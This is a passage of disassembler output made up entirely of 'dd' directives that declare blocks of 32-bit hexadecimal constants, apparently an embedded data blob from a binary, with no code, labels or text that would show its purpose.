		dd 0D84EAFBFh, 48F6BCF2h, 4B5F005h, 922C20h, 781FE5C1h
		dd 603CAD52h, 0F131763Dh, 0F4136E00h, 0A855324Fh, 0AF0D2671h
		dd 6FEC084h, 14B99F81h,	0C63C884Ah, 0EAE63E02h,	0C0674F60h
		dd 0E6469400h, 96D2C453h, 0EE9080C4h, 71CF4839h, 0F3F0B314h
		dd 0D26C00B0h, 0ACF2A84Dh, 84DE51E2h, 49F69420h, 30048C7Ch
		dd 4757812h, 3CA3ECDAh,	0C0DC1E24h, 0F41CDAE0h,	854DB738h
		dd 67840BABh, 18637025h, 0A3C5EDB0h, 58AFAC21h,	0E014789Fh
		dd 0C15160C8h, 506F40E2h, 3012D6ACh, 0D8095101h, 531BFC44h
		dd 90CCCACDh, 0EDC724B6h, 80A61148h, 0B04016E8h, 34448CEBh
		dd 16F00966h, 0CC6487A4h, 0AB925D00h, 0BCFCC3A9h, 7AB100B0h
		dd 0F0B9A8C7h, 0ED6106D4h, 3CB84698h, 0AE3E744Eh, 3C4280BAh
		dd 0A9381B46h, 5CF01210h
		dd 0D9909299h, 65BC982Bh, 481898EFh, 5703ECF1h,	2291520Dh
		dd 6AFFEAA0h, 5E1C3CA4h, 206480EEh, 0C4A84572h,	7F1760EFh
		dd 0CA2F00A2h, 32AF2235h, 64A277B4h, 86F45CC0h,	8031CF87h
		dd 961B856Eh, 370E0456h, 9C8CC4D0h, 0DA005828h,	317FCCFAh
		dd 928C1250h, 14C10018h, 6C19D570h, 9CA8A3B1h, 69128AC5h
		dd 50894D07h, 0E956B440h, 288AC82h, 0F09DD458h,	18E040DAh
		dd 7516798Fh, 0F8041069h, 7601DE86h, 4D6654h, 24D6DCFBh
		dd 1EA810D5h, 0C03197DAh, 7C0A582Ch, 9FC7F52h, 9D7EA34Eh
		dd 803C9188h, 0B079E905h, 59CD09FDh, 84010DB1h,	9932B68Ch
		dd 0A7584B88h, 160BE918h, 45F3B041h, 0F1678038h, 0E6061716h
		dd 0D47AB606h, 3E0F32Ah, 0DCF0D8B9h, 11270776h,	912417D9h
		dd 6C318287h, 8859AFh, 66EEF020h, 7A504AE5h, 1E8CF22Ch
		dd 91AC607Ch, 8082888Dh, 38607436h, 6E01BA81h, 331A5DE1h
		dd 9C22A8D4h, 22B01416h, 0EC30A23Ch, 533C7F16h,	628088CBh
		dd 0E54C16F4h, 0D22E2C1Ch, 869A19B0h, 68D80324h, 726763EBh
		dd 1A516AB8h, 22171F02h, 0E0975E42h, 80E952D8h,	0EF024B0Ch
		dd 64A9F94h, 2814D18Dh,	1C784688h, 6048E642h, 4A98702Fh
		dd 61038AFEh, 20859A6Eh, 0B4939186h, 40A8843Ch,	74282086h
		dd 82FA9083h, 0BA2AAC03h, 6400D32Bh, 0E12050E2h, 30190EE7h
		dd 0C6011B20h, 0B0B5BA58h, 1069BB5Eh, 0C139D5B8h, 32B21652h
		dd 9A11C071h, 0B02824h,	1F057639h, 0FC556419h, 100C635Ch
		dd 0E900D9C2h, 5812BAC1h, 0EDFEFB66h, 0A801ECBBh, 0AF469869h
		dd 70AE30C6h, 4E086498h, 1941C1Ah, 6AC72A9h, 458BED4h
		dd 0F8314F54h, 1A758CF0h, 0C1B57B12h, 35117817h, 1AB10B80h
		dd 70DD8FB8h, 12B04482h, 0AA34E8D0h, 0BBD413EEh, 9C3404E1h
		dd 0D2D8F460h, 0A1493860h, 25FE8Bh, 85749B55h, 5663CC5Ch
		dd 48365A00h, 44127115h, 39A80345h, 0B6D29DB5h,	9910E815h
		dd 0E0F400A8h, 3322B719h, 1D3409CFh, 9080419Bh,	0A4CE73BDh
		dd 821E062Ch, 0A6019420h, 2A75D5C7h, 5824F822h,	39FA76B3h
		dd 0A43C20B4h, 9EB0E033h, 5C166104h, 14A02A1Eh,	0CA550ADh
		dd 35AA2D54h, 4C2F022h,	0CBF6DA21h, 0F810E1A5h,	32009E11h
		dd 8F075492h, 36D6AAh, 199AFE86h, 10DC4E78h, 8887648h
		dd 1CCE72D9h, 4116DA6Ch, 2C4B3C41h, 0B8B1C060h,	8C951681h
		dd 0DFAA44h, 0C0C7B8A9h, 3C85FE83h, 0CE2F6F0Bh,	1B6C8093h
		dd 60EE8C21h, 2A7BC054h, 88AAA523h, 0E344B067h,	6A705B60h
		dd 20C2A25h, 0F40A74h, 46BA5464h, 4E0069D5h, 8423F82Fh
		dd 0AC44803Ah, 7F21B312h, 50EFE830h, 40A6C4FEh,	0E62CE52Eh
		dd 740868A3h, 68172FA2h, 81803E91h, 5F45D39Ch, 6EA38B12h
		dd 2D020C0Bh, 3C4029E4h, 48ED1E5Eh, 7A012C77h, 25458C1Fh
		dd 22A851F8h, 748F10D4h, 9CFDF48Eh, 0F5C1C00Ch,	3658437Eh
		dd 304E0BECh, 480B297h,	436079C4h, 607AE7E6h, 99581C9Ch
		dd 9DE6014Bh, 50EAD485h, 0C1A83874h, 2B3E5C78h,	0F1258839h
		dd 0C1E69C00h, 0D8C52877h, 40C81144h, 0B42A004Eh, 5AB968DDh
		dd 5C09E97Fh, 487844FEh, 0B8484F68h, 96602064h,	4BB65900h
		dd 0AC7A294Ch, 3C084C3Eh, 784E9686h, 0A030D22Ah, 0C300A3FEh
		dd 6EB7F24Ah, 2618E36Dh, 0B204B22h, 4091AA30h, 14620D31h
		dd 953040E2h, 4E2F870h,	5C90FC0Ch, 4B50E0FAh, 7C32AE0Ah
		dd 0FE0034ABh, 2A747F49h, 9E289E1Fh, 9C50C8E0h,	5EC57907h
		dd 98DC029Bh, 25340A8Ch, 0F84B2018h, 389BE52Ch,	28E2408h
		dd 6D380AAEh, 1F91E890h, 24B9D940h, 92EC51D6h, 0FB744953h
		dd 0E12E5C81h, 0DCE030CFh, 0F652B413h, 26D01891h, 244A3021h
		dd 0E7BF404h, 5AC0F312h, 80E56434h, 0D6382089h,	0BC47708Bh
		dd 0E3608064h, 6C0444B2h, 1F3F2BBEh, 0F2F0A0C0h, 0B92A0690h
		dd 30A4298Ah, 91F8DA15h, 17303F90h, 388073F0h, 0CB66B472h
		dd 7001E9D9h, 2C7EA10Fh, 0A7541030h, 0A0EE5E05h, 33B0A076h
		dd 13701020h, 22285D40h, 7E30F024h, 0F2AE1760h,	14CB7Dh
		dd 0FD607638h, 309C99E8h, 2A19795Ch, 6FABF55h, 709D4932h
		dd 0D8C410h, 33D25F23h,	8EBCF456h, 5AEE0F12h, 783ED402h
		dd 310E3DCEh, 6D2F8388h, 4CEEE843h, 64A24D64h, 50FFA13h
		dd 17C97FFh, 0A6DCF0DCh, 8AC68E4h, 292C0E8Ch, 39D30820h
		dd 82A67B00h, 7E621148h, 92FC0020h, 0EF721ACAh,	1D7D3C30h
		dd 0CB0060B1h, 890A503Dh, 16DD4A47h, 84A3106Ch,	829CEE08h
		dd 90801110h, 2661BBEDh, 1972E406h, 73984850h, 0B8EC80B6h
		dd 0E33A90D9h, 8C0ED821h, 0E0CFE288h, 0BF415223h, 7DB20458h
		dd 0C163BAA9h, 72480Ch,	0C036D2B8h, 617DC9F1h, 0C009D4Ah
		dd 2317C1FFh, 587493h, 0D3D5E1A9h, 0FD018333h, 965D3Fh
		dd 19210F7Bh, 41BF61h, 1EE6D887h, 99DAD1DBh, 0C269571Dh
		dd 0A000DE24h, 37D2CB6Ah, 7DAA0C8Dh, 0D308553Fh, 630521C0h
		dd 360BCBh, 683B0D73h, 740CEF8Ch, 7B26B606h, 1E289258h
		dd 80DD89C0h, 9AEF4C3Ch, 7F600211h, 0F51B9918h,	92E60071h
		dd 7DF63E1h, 60008D1Ah,	6FF3266Ch, 1641D854h, 1F82EF11h
		dd 9A38B05Ah, 3C004F2Fh, 1B382514h, 300CBD92h, 6D7894F4h
		dd 0E738F6E9h, 698231C0h, 30C4EC77h, 14671CDh, 8A49F86h
		dd 9181645Fh, 6E805BF8h, 6D37D6CBh, 1C9448Ch, 0C7CB671Dh
		dd 0FDB29640h, 6004E171h, 0DB5099E8h, 151B0599h, 6190BAB4h
		dd 13BD6860h, 7F919C88h, 3B51C118h, 7EDF0314h, 7CE69219h
		dd 6300207Ch, 34E37D47h, 7D528h, 5E6FEB22h, 95B02C08h
		dd 0AC62902h, 80A26D19h, 0F02B86E4h, 4818C0ADh,	0A68FE92h
		dd 0EEFC7F18h, 718E669h, 0C0C628D7h, 38CB1631h,	2340407h
		dd 1EC027F1h, 0C3B93D01h, 25054419h, 8E7F3002h,	0A09658CFh
		dd 3E54B9E8h, 5A21030Bh, 4A18C49Dh, 21AF0832h, 0BAB5C057h
		dd 0F263072Dh, 8FB074h,	0DDCA876h, 500ADE39h, 0E63069D0h
		dd 8A1F17Eh, 1C5673D7h,	338AB605h, 21059609h, 0FDD710C1h
		dd 6118CA00h, 0A09DD29Eh, 3D1C39ACh, 92A4A98Dh,	9FAC0840h
		dd 452CAF03h, 51809A7h,	802059FDh, 2D0367E0h, 28A63830h
		dd 30F2640Eh, 6E8DFD2h,	9061C91h, 873EC25Fh, 16246A8h
		dd 84FD70Dh, 0FA0DB5EDh, 0D715BA20h, 910F00D8h,	0CC328465h
		dd 0B201353Ch, 77379B10h, 102095DBh, 41A24118h,	809CCD00h
		dd 32AF38A8h, 90785E0Dh, 0F7F7724h, 2ED5196Ah, 20F0811h
		dd 0D8AE8F8Bh, 0C6057020h, 0D3795A4h, 215C08BEh, 0D0754Dh
		dd 166337F0h, 54066AF2h, 14A50824h, 688D7F02h, 461048BCh
		dd 5ADC3CB3h, 26862500h, 31DF6FE1h, 392A0AFCh, 8098867h
		dd 10825C44h, 80D39D40h, 49C0C468h, 73BC80E0h, 19BE0D8Bh
		dd 0F121A20Dh, 0C2FF04AEh, 0CCA19A2Eh, 41B5940Dh, 81D93984h
		dd 31166BF0h, 3880A679h, 0BA0F381h, 9360C435h, 9585C028h
		dd 1F110FD1h, 417339CEh, 9143734h, 158819Dh, 2449A215h
		dd 7E60830h, 4C41D953h,	8E208C89h, 69D5ED0Ah, 0D378205Bh
		dd 97188C3Ch, 7FB9A514h, 0F1C76002h, 0AFE54437h, 420318C1h
		dd 4CD07412h, 9D30C0Eh,	80C8C71Dh, 823E1092h, 39669C35h
		dd 7282F59Eh, 8A8B9034h, 530D3CA8h, 91F030AAh, 0AFCDF120h
		dd 5202C822h, 69C62688h, 0A0C4E860h, 9A821080h,	8019488Ch
		dd 4CC8D010h, 87790168h, 934D1485h, 9929A0B1h, 948AE466h
		dd 8440CE57h, 2520CBDDh
		dd 0EF8027F6h, 0B154262Ch, 98249CB8h, 418360A0h, 39EF509h
		dd 47D0825Ah, 5E6C6089h, 6089FF72h, 2400B8BBh, 85D141DBh
		dd 0D2BAEC1Fh, 9497C50Ah, 6C5472C0h, 0B498C696h, 0B00B9EFh
		dd 8486C47Ah, 0F70C443Ah, 3C6B9802h, 9B2D09A0h,	57E148C3h
		dd 0CF190093h, 0DAC6B0ABh, 44180716h, 7838A9FCh, 50052603h
		dd 4C408304h, 0B0407D58h, 0B56044D4h, 4A037341h, 791C1AB8h
		dd 4881E89Bh, 123A0C1h,	1ECB0A9Ah, 136806B9h, 4E4250Dh
		dd 1CAAC898h, 1898CF0Ch, 17B7012Fh, 2BFEA096h, 41C8255Ch
		dd 2249FCF8h, 201C3E2Ch, 0A0F880AEh, 42BD8095h,	3FD1DD00h
		dd 0EB1A85D2h, 80640463h, 0C4B30440h, 0CC648258h, 5104D86Ch
		dd 62210C3Eh, 5420A362h, 0B8FC3E59h, 4BA80972h,	10A49488h
		dd 8880CE8Eh, 1C94C58Dh, 0F9BBD9E0h, 63E0509Dh,	0D500B642h
		dd 199288A7h, 206ED77h,	8FBBFC07h, 9881D948h, 81268A5Fh
		dd 2BAEEF80h, 383488C0h, 0C4C82439h, 0E624BB20h, 0B5DC0878h
		dd 1FF84000h, 926E4405h, 6C4F0054h, 5ECAA90Fh, 0ACA9B968h
		dd 2BFBCF2Ah, 33C7D8F0h, 39246E12h, 0B008EC52h,	93D6C711h
		dd 62A4056Eh, 0CE4B239Ah, 373C24A8h, 0E9143806h, 46491B79h
		dd 89D73C12h, 9CCE056Fh, 0CF4C3AD4h, 60BD5583h,	0DBB889E1h
		dd 0C49FF3Fh, 596630A4h, 0F22C065Eh, 1688A49Eh,	483F695Dh
		dd 0E9CF6754h, 15F682D7h, 8054C5B6h, 0F2D712BFh, 0CBB030E4h
		dd 78547317h, 311E2040h, 9A41B0EDh, 0A93420F8h,	0B1D104B1h
		dd 5300E918h, 4F24942Fh, 0F7FB8CB3h, 7A966820h,	2F7B4A11h
		dd 3CC233Ch, 0AE60EA8Bh, 8C80097h, 4B8B03Ah, 0F802A641h
		dd 0B02627BEh, 0D70617AEh, 9C1A2007h, 0F9617A6Eh, 8030FF48h
		dd 0F01892F4h, 844CF1B4h, 687079h, 34132682h, 0BEEACF3Ah
		dd 7E8CDF4Ch, 2ADBBCA8h, 906F0C26h, 9CC1C538h, 0C32FEC50h
		dd 7DFD7FBBh, 0C9F0E1h,	0AB36113h, 0DE07BC45h, 150CED5Ch
		dd 42CC8205h, 24012848h, 0FCADE800h, 2D70AF4Ch,	0D372ECh
		dd 5F021868h, 9352609Fh, 2921BD25h, 6C6C0230h, 0B0A00A5h
		dd 9F50E119h, 3A2A82E8h, 84E0D09Ah, 0C9FC31C0h,	0FFEA8E0h
		dd 50407C69h, 0FD880936h, 7AE53C23h, 2B8A100h, 7F19B5A2h
		dd 18E4A146h, 80A55711h, 2930D159h, 5D10D8h, 0F7928C51h
		dd 4CEE353Fh, 0D1845F02h, 83722F2Ah, 48CD6DA4h,	0F0026898h
		dd 9CA14EA3h, 836430C1h, 0E57A1059h, 0A8810087h, 6B1DDA73h
		dd 0EA50224Dh, 37099AD3h, 8E6FE03Fh, 24B88808h,	0BAB028A0h
		dd 51736200h, 84C41BBDh, 0D6DCF950h, 32011E88h,	6C919EA1h
		dd 6411B045h, 51D70B80h, 0B543DD08h, 0BC038C22h, 8F1CD713h
		dd 4C89CBDh, 9049140Eh,	8C1C80Ah, 2189D42Ch, 35880138h
		dd 441985C5h, 0CC8899B0h, 446853EBh, 0F3394A2h,	0A416FA1Ah
		dd 0E402AD20h, 1548BE5Ch, 2D058118h, 10009B04h,	3977191Fh
		dd 7348B082h, 56ADF40Dh, 0E050B469h, 71048C5Eh,	5537D9CBh
		dd 24DC1CE2h, 0AE2C0CF0h, 0B0A269F0h, 0B14EB4E7h, 8700C289h
		dd 52500D0Bh, 9B2EDA01h, 7A08143Bh, 27F5C20h, 0D696E32h
		dd 3C40E863h, 444C6D89h, 0AB038FD4h, 266496F0h,	40206958h
		dd 6C264E66h, 7C8A258h,	0B17DE144h, 0D6761D40h,	71082475h
		dd 65B1130h, 8E3D14BFh,	7D663C48h, 0B20C3740h, 0A0930BD0h
		dd 0F9784071h, 9E408212h, 2088C822h, 22180DA2h,	10CA8302h
		dd 0C3770374h, 9839DE04h, 0D918F930h, 0BE8896F3h, 8ED83067h
		dd 0CCA0D14Eh, 0F12DDB5Ah, 0F808464Eh, 0CB70C05Dh, 18F737D8h
		dd 68FF88D5h, 0ADFECB00h, 0E38EB72h, 85BB2AF8h,	997409Ch
		dd 14BE4212h, 0E00D2C30h, 0C2B0B99Ah, 5020A943h, 12B56C88h
		dd 41C3E5CEh, 8C4C0814h, 168020A4h, 1042314Ah, 0C414BD81h
		dd 4BFCEC9Ch, 0C50C1F07h, 0CC888E4Ch, 1E897EE0h, 94BAB1E8h
		dd 0F5AF8864h, 0CA116826h, 0E3E4F80h, 448C7221h, 572452A5h
		dd 301843Eh, 0A9243A7Ah, 0E515AC28h, 6450946Fh,	0E048C63h
		dd 0F50850D7h, 0BB209662h, 0B3D716h, 0CDC1FEE5h, 351FDBDh
		dd 0A5585212h, 44F0C28h, 5D279068h, 89088236h, 44805E24h
		dd 0C084E66Ah, 5026A059h, 31000CBFh, 3F1CBA94h,	18CAD26Bh
		dd 518916BDh, 0C3095C2Fh, 0A4D8B2F7h, 38A49898h, 681048EBh
		dd 7590C139h, 26E3899h,	0D90B845Ah, 788480D1h, 1F6869E0h
		dd 2B51E38h, 26C0FC35h,	0CA448C52h, 403C4A82h, 85D418C8h
		dd 4F50F82Fh, 0F44136C8h, 45CDFF0h, 68882BB4h, 3A3C95ABh
		dd 3C72354h, 64BE20D0h,	19A42B8h, 0CA0CC8A4h, 7855DB39h
		dd 1C8881Dh, 10D49D24h,	708F803Ah, 0C42B865Eh, 8C099ADh
		dd 32006B57h, 7C264381h, 0E5191F10h, 62718BCEh,	9F581C82h
		dd 0AC880105h, 0D39D00E3h, 0A98FCE83h, 0D2099802h, 60B11CB9h
		dd 7DFE5524h, 610D1F84h, 0B26D80CFh, 4203F736h,	4C2EDB5Ah
		dd 0BF008C7Ah, 8CFAEF16h, 13628806h, 8E1709AAh,	0FE92C8A8h
		dd 11C20BEFh, 8AE33921h, 37D79803h, 9A4B52Ch, 44710D30h
		dd 0C19E0B84h, 397DA1A8h, 4ABE0EB0h, 942C04C3h,	7C7AE490h
		dd 38DF48DCh, 27C12910h, 6D6CA069h, 4D1591h, 0D15C5302h
		dd 0C52AE723h, 968EC58h, 26DCD560h, 96518C44h, 0F2A04B0h
		dd 191D0924h, 7830D100h, 0BA2404Dh, 0D3BD3E03h,	77C69909h
		dd 5AD805C8h, 0C3571E96h, 0E1620D20h, 50B3EA60h, 6DE0ADCh
		dd 662C1C89h, 0C32178E6h, 67F58810h, 0A8E4B8A0h, 40B86484h
		dd 0C766461Fh, 0D1064410h, 0D32034B0h, 505E4977h, 91CA1681h
		dd 77D06D57h, 0BA1306FEh, 10040F4Eh, 5C4B8819h,	50FD1801h
		dd 51F89ED8h, 72A92AA0h, 3B9E0CB4h, 0F659AA10h,	2C307C4Ch
		dd 70620058h, 148500A2h, 449E84F1h, 0A8050360h,	9384B49Ah
		dd 576840B5h, 0C7083FDBh, 10AB309h, 67904228h, 6693447Ch
		dd 2246026Eh, 98CF7F13h, 0FD01A866h, 1EC1E5E3h,	0B059425Fh
		dd 84C32030h, 84B168E4h, 7315003Eh, 0F355498h, 9490077h
		dd 0D3BF5E5h, 380C97AEh, 0D07CA2C9h, 680E886Ah,	80797639h
		dd 0F20D1F36h, 0C1CE57E0h, 0D5012061h, 2C1422BCh, 97A55053h
		dd 82A491E4h, 0C4E50A4Dh, 0BF7104h, 0D9235B75h,	4B18D731h
		dd 0F9EB6312h, 0A170D01Fh, 594C3505h, 8447A4B2h, 48A34311h
		dd 424816F8h, 89A8B428h, 9D69E8C8h, 0C1D86880h,	6D1C9719h
		dd 0C09464ACh, 237C440h, 0B9902B8Dh, 0C4E0D939h, 40A0ADD4h
		dd 0EC889AF5h, 2200B8B7h, 0F40CC67Dh, 38CE5EB0h, 9E4E7C36h
		dd 0A91488B4h, 9F111C02h, 72844130h, 13565B60h,	0C0942BFEh
		dd 8A7A9924h, 20671029h, 301B90E2h, 5F16CB37h, 483AD0D4h
		dd 1500CC23h, 0BED45A77h, 39243B22h, 27EA4081h,	309811F4h
		dd 9A2DE16Ch, 821C2304h, 0F8417840h, 86109C0Bh,	20CAD8E0h
		dd 0C910619Fh, 0D330B06Dh, 0E84F0431h, 773CC701h, 0C9A2F51Eh
		dd 97D4D740h, 905E1769h, 1648C1D5h, 85D1086h, 0BAE4282Ch
		dd 20706080h, 7EC14CAFh, 2488ACBCh, 0B391FB4h, 0F8B18C85h
		dd 0E16E1098h, 13D87E3Fh, 4937295h, 19B4800h, 35011EDFh
		dd 90E04464h, 79F12540h, 8E06D42Ch, 831406E8h, 4EB4DAC4h
		dd 8C7DA42Fh, 0E76F6B15h, 9AA51090h, 9453A805h,	4A6CA395h
		dd 9823A42Bh, 3BE8A900h, 4ABF2792h, 80605E58h, 42E64F02h
		dd 0BA0F0BB1h, 20CE0175h, 930A64DBh, 51033E69h,	6A04708Bh
		dd 0A538EC02h, 0E8C8D06Ch, 91D2C715h, 18F6056Ah, 0CA478894h
		dd 141C7C98h, 0F94B5D43h
		dd 15A8220Dh, 358203C1h, 0E6808000h, 0DAC3DC4Fh, 348B0998h
		dd 0DC62960Ch, 0BE523C81h, 0FC83216h, 896DE9F2h, 0C1103B7Fh
		dd 3024C305h, 0F4FA5C3Ah, 0AC28B5B2h, 9806611h,	0D0853D7h
		dd 9522B643h, 0D711BE00h, 304C1475h, 0D69205CEh, 80DC0302h
		dd 3C1F8900h, 549A54FCh, 57C7390Ah, 6687BCADh, 70B10668h
		dd 28914403h, 205C2CBEh, 0D839681h, 2C79049Bh, 69762F00h
		dd 0B71C2D05h, 0DF10C0CFh, 0B460D013h, 23083E55h, 3C204221h
		dd 3E5D5800h, 9C72D871h, 0F96301D4h, 198CD5Bh, 82F864ADh
		dd 31943C30h, 5CF5150h,	2CEFCDB4h, 237CA26Ch, 0CB6F0B5Ch
		dd 0B2658484h, 2C8C0h, 3B9C754Eh, 7610CF39h, 0E527FA12h
		dd 0A0986810h, 12D94380h, 8FB4FC7Fh, 0C0C988A4h, 0CEDC380Bh
		dd 1BF03E01h, 0C044093Ch, 5870583Ch, 3582F449h,	0EC0ABA24h
		dd 9C48D15h, 20703483h,	0B9073F14h, 0A3FC28CCh,	8210F684h
		dd 50B068D8h, 3A8A4C20h, 3F803D79h, 0A61860F2h,	0FC056DC4h
		dd 86099A80h, 0C668E446h, 3DF6A9h, 2D1BE0B8h, 4AD0E7A9h
		dd 0F2965F09h, 44541695h, 541206AFh, 0F091AB74h, 680167D8h
		dd 0D059A19Ch, 7018D3D1h, 0B94AB58h, 84E93B47h,	0E640B0E8h
		dd 6EC6C418h, 44740898h, 48032E5h, 0A14C0C83h, 0D2F944F4h
		dd 89B03218h, 41770320h, 0C43950ECh, 42F54F98h,	0F4C153CCh
		dd 0F14AEC69h, 6E34306Ch, 1C0058E0h, 63D2B569h,	62743503h
		dd 7909689Dh, 0A001C4B3h, 0A635BD4h, 0CC3C6519h, 9C2C0605h
		dd 14940591h, 9D08C2CEh, 13FB9A27h, 78281758h, 814C9286h
		dd 2001A8A7h, 33A86EADh, 2093E437h, 2808E8ABh, 2C700044h
		dd 0F0E10209h, 494C1A88h, 50A00766h, 0DFB1D34Ch, 10266D6Ah
		dd 0C95C205Ah, 9D121C10h, 0D70424B1h, 4087BE72h, 48F2A8F4h
		dd 3FFC85C1h, 15C69B5h,	0A2FE3268h, 68280166h, 315E0070h
		dd 7FF9E4C8h, 5090D18Bh, 30D7DB33h, 0AD908905h,	4C032040h
		dd 20092D9h, 34BB6280h,	0BCDAC524h, 2CF93924h, 3A40BA44h
		dd 28154DB6h, 2EA9C403h, 107AF423h, 4AB04E0h, 0CE95319Eh
		dd 80D024C2h, 3862C5CCh, 7A0B1270h, 184046Eh, 39DB00C4h
		dd 19FCEFE8h, 99239665h, 25C2659h, 37D4CB6Ch, 950E77Dh
		dd 2C806503h, 0CDA94DC8h, 0B21FF709h, 10E4EC54h, 589CA415h
		dd 0B0012A00h, 9266B0A1h, 0B00CC279h, 2482997Dh, 480E22Dh
		dd 8E53B5A9h, 0C2C9C8A8h, 8E0CE61h, 0F025747h, 0DE40E236h
		dd 0C851F1h, 49CB2074h,	9A000F6Bh, 4F863634h, 8A2F96h
		dd 0DB8D1AF4h, 4ADF877Fh, 8E984901h, 5951EF6Ch,	0DD01D032h
		dd 252FA433h, 4430D835h, 0D0D8752Ch, 9940938h, 0E43C659Ah
		dd 0BFE6198h, 0AE96EF4h, 0AD4434ABh, 8E7142A0h,	0DB526872h
		dd 30D4F28Ch, 5075E72Ch, 983EF44Ah, 5AF95A23h, 27DBC10Bh
		dd 0EC6C4D59h, 18C8BBCh, 1EFD7F0Ah, 80BD4131h, 0BE8106C8h
		dd 0C5A1D919h, 0C4ADE910h, 0E8E0BC4Ch, 82018CCAh, 0E427FD88h
		dd 0F04279EBh, 8DE64137h, 0FC04542Bh, 2FCCF424h, 5D0380A9h
		dd 804CB8E1h, 0D02F4A48h, 1200B123h, 3F5EA274h,	26353D73h
		dd 75092089h, 0C018B8ABh, 0D74B1EE6h, 44FD109Ch, 0B30E27C7h
		dd 7610301Dh, 0FC876035h, 18B4E594h, 0B84316B0h, 0B2742288h
		dd 5E0E14A2h, 59706CFBh, 2C60B33Dh, 9F380B3Ch, 7F1A6014h
		dd 64E07E2Ah, 2BA80C08h, 0D290A3B0h, 994965F8h,	98C84A54h
		dd 447F4118h, 0C81C1064h, 29351518h, 0A095077Fh, 199712E8h
		dd 48B164A1h, 86DC85D7h, 6E58808Eh, 71AC30F4h, 1FE0CD1Eh
		dd 39686410h, 80BC6F3Ah, 0C9011F06h, 6D2E41D1h,	82496044h
		dd 84C43898h, 3A52F56Ch, 962308h, 1113F92Bh, 2095E609h
		dd 0A8619C68h, 1F85017Dh, 830EFD9Dh, 112C6079h,	0D76D6C13h
		dd 3C761CE3h, 90E99034h, 0EADF0C81h, 4B86696h, 84402B7Eh
		dd 3510D0E9h, 0E6CA00C5h, 8718D50h, 80EF1682h, 446844BDh
		dd 1C9701B3h, 0EC318AE1h, 0C2C89C62h, 2497E182h, 0FCD01Dh
		dd 94953968h, 23ACA6Dh,	442F62B0h, 11B01F6Fh, 0CB587B0h
		dd 41AA3531h, 1C92643Ch, 6098D928h, 379A10C9h, 9B110D78h
		dd 78297BFFh, 8193201Ch, 3E2E758Ch, 972390h, 0AC743A90h
		dd 20DE8DEh, 516D190Bh,	0CC87686Dh, 5E05B147h, 70CC7308h
		dd 2CDC9B54h, 0DF6F2000h, 6CE588CCh, 82AE00FBh,	0AC738FB1h
		dd 62BEAE2h, 5823E4B2h,	9234D95Ah, 700C8744h, 700CEF11h
		dd 4A80A795h, 466E6C82h, 0FCA50874h, 3142ABAFh,	3F0AE7Eh
		dd 0A8C5E480h, 0B8EF0299h, 0D1214FB1h, 32087FACh, 44970B48h
		dd 2C6C2A41h, 51A0CC0Dh, 197DE9F3h, 0A2E36988h,	1981542h
		dd 2C7804A3h, 14390620h, 388196A5h, 4E287906h, 809D9DF0h
		dd 0CB809111h, 3A8ECCD1h, 3C960F00h, 2C073E3Dh,	0C09B4A30h
		dd 0C8F111BCh, 2F340480h, 4880F30Ah, 0FB1E48BFh, 88CC4F4Fh
		dd 43032C73h, 0D3E612ECh, 1EA04E48h, 82006A50h,	81EC182Bh
		dd 16B0D1Ah, 0C8DA1D54h, 3F8E800Ah, 95237C2Fh, 0BB22AB00h
		dd 16DA126h, 9E8CA076h,	2291EC53h, 0BAB510F4h, 0C8B86915h
		dd 86327601h, 607018DDh, 74000777h, 2373610Dh, 9072064Fh
		dd 0F08E4530h, 0B8009197h, 90B3EA7Ch, 1A6BE44h,	0AD9F943Ch
		dd 0E0F15D60h, 111C5B0Dh, 0A4BC261h, 74F0826Bh,	972C4040h
		dd 0C5754F14h, 0DBB08264h, 0D6713871h, 0E0279B18h, 76B0C69Ah
		dd 59A5FC3Fh, 1C50D476h, 38740B1h, 0D93A4713h, 97F2DCA2h
		dd 2EBFAF30h, 83442E5h,	3801B88Dh, 0BA4E8206h, 59F2AC73h
		dd 0BC59903Fh, 0ABB90032h, 510C27Fh, 1606E154h,	0D59D0121h
		dd 24B08098h, 1750BE49h, 1E9C026Dh, 70E1D1C3h, 5807DE79h
		dd 0ECE15970h, 1F0718DCh, 84F878D6h, 4F019E80h,	0CEECC0ADh
		dd 0D92A2C3Bh, 7F1DB89Fh, 0BF019637h, 0D14B2110h, 7EEB2084h
		dd 0ED533219h, 2E7DE0FCh, 0E500187Fh, 86961A6Bh, 0BE1039DBh
		dd 58C61014h, 4D2F02F8h, 409592AEh, 0FB8BF6CCh,	62FF0860h
		dd 41825185h, 0BE2CD064h, 8448F031h, 90991404h,	0B2E16404h
		dd 30C8F24Ch, 4D0B1097h, 0E8595293h, 652AA4h, 25FED8BAh
		dd 6D243836h, 0F8408CB5h, 85F82E3Ch, 0A34D41C4h, 9B3D0141h
		dd 20014197h, 0FF9D1B84h, 1C01CCE6h, 0D14F10FDh, 87ED4C39h
		dd 6C81B98Bh, 5388B001h, 587AD3C4h, 0F00B3BF1h,	11EC9D5Bh
		dd 66278095h, 1DE5B65h,	63CE7731h, 3AB45472h, 0C9A4402h
		dd 49747E80h, 18B93C07h, 0F1347209h, 0CB8E0BDCh, 3E50FC30h
		dd 7A210F10h, 3E5853E0h, 3442405h, 0F845F980h, 148A9234h
		dd 94E8BC58h, 3012028Ch, 3C5968F4h, 0B944E8E0h,	74908E4Bh
		dd 9C26B793h, 0D546749Ch, 41F8891Dh, 1E96070Bh,	0BEE0F84Eh
		dd 0C0BD1925h, 543C0628h, 578FCCCh, 9933FCC7h, 8158C826h
		dd 0BC85B14Bh, 0E922BC8Fh, 0CD7808B3h, 7CAA0021h, 68746289h
		dd 0CB5AFC85h, 0FA0A10C3h, 9145802h, 987EFE7Fh,	0EE8B8A0h
		dd 5D146425h, 0EC40DEE5h, 9D008C96h, 0A03D630Eh, 77447B95h
		dd 71CC020Dh, 31AB9757h, 31A70F9h, 74387E68h, 2F179646h
		dd 0A81B01E1h, 0D4A690DAh, 0B05DF034h, 79241228h, 489CC453h
		dd 6B048C58h, 8537D3CBh, 6C494F2h, 44FC8064h, 1678EF58h
		dd 10C75000h, 72C342BEh, 11A00991h, 0E4529FE9h,	0D6901B0Eh
		dd 20F7ACC0h, 2D311320h, 816895C8h, 63425224h, 0BA3CE134h
		dd 0BA3C841Fh, 80DB3B2Eh, 0E6963DEFh, 0B0759A4Ah, 5CE548B4h
		dd 861AF780h, 1209E8CEh
		dd 62893921h, 443CDEE4h, 763244D8h, 0A59B7C81h,	0FC2F3E19h
		dd 841DCA23h, 0F74F9E00h, 2D7F1E78h, 9864C6FBh,	747DCD20h
		dd 3BBF5FE5h, 7982348h,	9055257Eh, 0C3579348h, 47809095h
